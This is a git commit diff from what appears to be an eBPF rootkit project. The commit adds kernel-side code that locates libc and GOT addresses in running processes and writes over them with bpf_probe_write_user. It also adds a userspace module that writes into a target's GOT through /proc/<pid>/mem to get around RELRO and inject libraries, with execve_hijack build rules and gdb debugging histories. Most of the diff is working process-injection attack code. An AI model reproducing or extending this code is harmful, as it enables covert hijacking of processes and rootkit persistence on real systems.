Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

This commit is contained in:
h3xduck
2022-04-05 20:21:59 -04:00
parent 96cfda8c1f
commit e6ddb3373e
18 changed files with 14694 additions and 14343 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

0
src/:
View File

Binary file not shown.

View File

@@ -7,13 +7,21 @@ typedef enum {
INFO,
DEBUG,
EXIT,
ERROR
ERROR,
VULN_SYSCALL
} event_type_t;
struct rb_event {
int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
__u64 syscall_address;
__u64 process_stack_return_address;
__u64 libc_main_address;
__u64 libc_dlopen_mode_address;
__u64 libc_malloc_address;
__u64 got_address;
int relro_active;
event_type_t event_type;
};

View File

@@ -26,6 +26,8 @@ struct fs_open_data{ //Map value
struct inj_ret_address_data{ //Map value
__u64 libc_syscall_address;
__u64 stack_ret_address;
__u64 relro_active;
__u64 got_address;
};
struct fs_priv_open{ //Map

View File

@@ -10,6 +10,8 @@
#include "../../../common/constants.h"
#include "defs.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#define OPCODE_JUMP_BYTE_0 0xe8
#define OPCODE_PLT_JMP_BYTE_0 0xff
@@ -166,16 +168,13 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
__u64 buf = CODE_CAVE_ADDRESS;
bpf_printk("Now writing to J_ADDR %lx\n", j_addr);
if(bpf_probe_write_user(j_addr, &buf, sizeof(__u64))<0){
bpf_printk("FAILED TO WRITE J\n");
//Should not work if RELRO active
bpf_printk("FAILED TO WRITE JUMP\n");
}else{
__u64 got_addr_new;
bpf_probe_read_user(&got_addr_new, sizeof(__u64), j_addr);
bpf_printk("Success, new GOT is %lx", got_addr_new);
}
bpf_printk("Now writing to CALL_ADDR %lx\n", call_addr);
if(bpf_probe_write_user(call_addr, &buf, sizeof(__u64))<0){
bpf_printk("FAILED TO WRITE CALL\n");
}
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
//where the syscall resides. We read the opcodes and check that they are the ones expected
@@ -189,7 +188,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
return -1;
}
//We got the expected syscall.
//We got the expected syscall call in libc. Its format depends on glibc.
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
@@ -205,6 +204,8 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
struct inj_ret_address_data addr;
addr.libc_syscall_address = (__u64)got_addr;
addr.stack_ret_address = 0;
addr.relro_active = relro_active;
bpf_probe_read(&addr.got_address, sizeof(__u64), &j_addr);
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
return 0;
@@ -254,18 +255,31 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL ){
struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (addr == NULL){
//It means we failed to insert into the map before
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
addr.stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_EXIST)<0){
//struct inj_ret_address_data addr = *inj_ret_addr;
//struct inj_ret_address_data addr;
//bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
addr->stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr.stack_ret_address);
bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
bpf_printk("GOT address: %lx\n", addr->got_address);
//Tell userspace to perform operations on localized addresses
int pid = bpf_get_current_pid_tgid() >> 32;
ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address,
addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC,
addr->got_address, addr->relro_active);
return 0;
}
}

View File

@@ -41,6 +41,31 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
bpf_ringbuf_submit(event, 0);
return 0;
}
/**
* @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, int relro_active){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->event_type = VULN_SYSCALL;
event->pid = pid;
event->libc_dlopen_mode_address = libc_dlopen_mode_address;
event->libc_main_address = libc_main_address;
event->libc_malloc_address = libc_malloc_address;
event->process_stack_return_address = process_stack_return_address;
event->syscall_address = syscall_address;
event->got_address = got_address;
event->relro_active = relro_active;
bpf_ringbuf_submit(event, 0);
return 0;
}

View File

@@ -1,76 +1,3 @@
b *(test_time_values_injection+96)
r
si
si
q
b *(test_time_values_injection+96)
r
si
q
b *(test_time_values_injection+96)
r
si
x/32b 0x5555555556a9
x/32x 0x5555555556a9
x/2i 0x5555555556a9
disass 0x5555555556a9
disass /r 0x5555555556a9
q
b *(test_time_values_injection+96)
r
si
disass /r 0x5555555556ae
q
b *(test_time_values_injection+96)
r
si
disass /r 0x5555555556ae
q
r
q
r
q
b *(test_time_values_injection+96)
r
si
q
b *(test_time_values_injection+169)
r
si
fin
q
b *(test_time_values_injection+169)
r
si
q
b *(test_time_values_injection+169)
r
si
q
r
q
r
q
r
q
r
q
r
q
r
q
r
q
disass test_time_values_injection
b *(test_time_values_injection+96)
r
si
disass 0x7ffff7ede56c
disass /r 0x7ffff7ede56c
q
b *(test_time_values_injection+96)
r
si
q
b *(test_time_values_injection+96)
r
@@ -254,3 +181,76 @@ si
x/2i 7ffff7f1d5b0
x/2i 0x7ffff7f1d5b0
q
r
q
q
r
q
r
q
q
b *(test_time_values_injection+94)
disass test_time_values_injection
b *(test_time_values_injection+167)
r
q
b *(test_time_values_injection+167)
r
si
q
b *(test_time_values_injection+167)
r
x/10s 0x41350
x/10s 0x405130
x/10b 0x405130
x/10i 0x405130
q
r
q
r
q
disass test_time_values_injection
b *(test_time_values_injection+94)
r
si
fin
fin
si
q
b *(test_time_values_injection+94)
r
si
x/20b 0x555555559fb0
si
x/20b 0x555555559fb0
q
r
q
r
q
b *(test_time_values_injection+94)
r
si
si
x/20b 0x555555559fb0
x/20i 0x555555559fb0
q
b *(test_time_values_injection+94)
r
si
x/20i 0x555555559fb0
x/20b 0x555555559fb0
si
x/20b 0x555555559fb0
x/20i 0x555555559fb0
q
r
q
r
q
r
q
r
q
r
q

View File

@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
execve_hijack.o: execve_hijack.c $(HEADERS)
clang -g -c execve_hijack.c
gcc -g -c execve_hijack.c
execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
clang -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
clean:
-rm -f execve_hijack.o

Binary file not shown.

Binary file not shown.

View File

@@ -1,3 +1,2 @@
break *(test_time_values_injection+94)

View File

@@ -1,3 +1,11 @@
break *(test_time_values_injection+94)
disable $bpnum

View File

@@ -0,0 +1,37 @@
#ifndef __MEM_INJECTION_EXT_H
#define __MEM_INJECTION_EXT_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "../common/constants.h"
#include "../common/map_common.h"
int manage_injection(const struct rb_event* event){
char mem_file_name[100];
char *buf="AAAAAAAAAAAAA";
int mem_fd;
memset( (void*)mem_file_name, 0, 100);
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
mem_fd = open(mem_file_name, O_RDWR);
lseek(mem_fd, event->got_address, SEEK_SET);
for(int ii=0; ii<8; ii++){
if(write(mem_fd, buf, 1) < 0 ){
perror("Writing");
}
}
return 0;
}
#endif

View File

@@ -1,6 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include "extractor.h"

View File

@@ -1,6 +0,0 @@
#ifndef __ROP_EXT_H
#define __ROP_EXT_H
#endif

View File

@@ -20,8 +20,7 @@
#include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h"
#include "include/utils/rop/extractor.h"
#include "include/utils/mem/injection.h"
#define ABORT_IF_ERR(err, msg)\
if(err<0){\
fprintf(stderr, msg);\
@@ -97,7 +96,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
//Before parsing any data, check the type
if(e->event_type == INFO){
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
}else if(e->event_type == DEBUG){
@@ -106,6 +105,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
}else if(e->event_type == EXIT){
}else if(e->event_type == VULN_SYSCALL){
//eBPF detected syscall which can lead to library injection
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
if(manage_injection(e)<0){
printf("Library injection failed\n");
}
}else{
printf("UNRECOGNIZED RB EVENT RECEIVED");
return -1;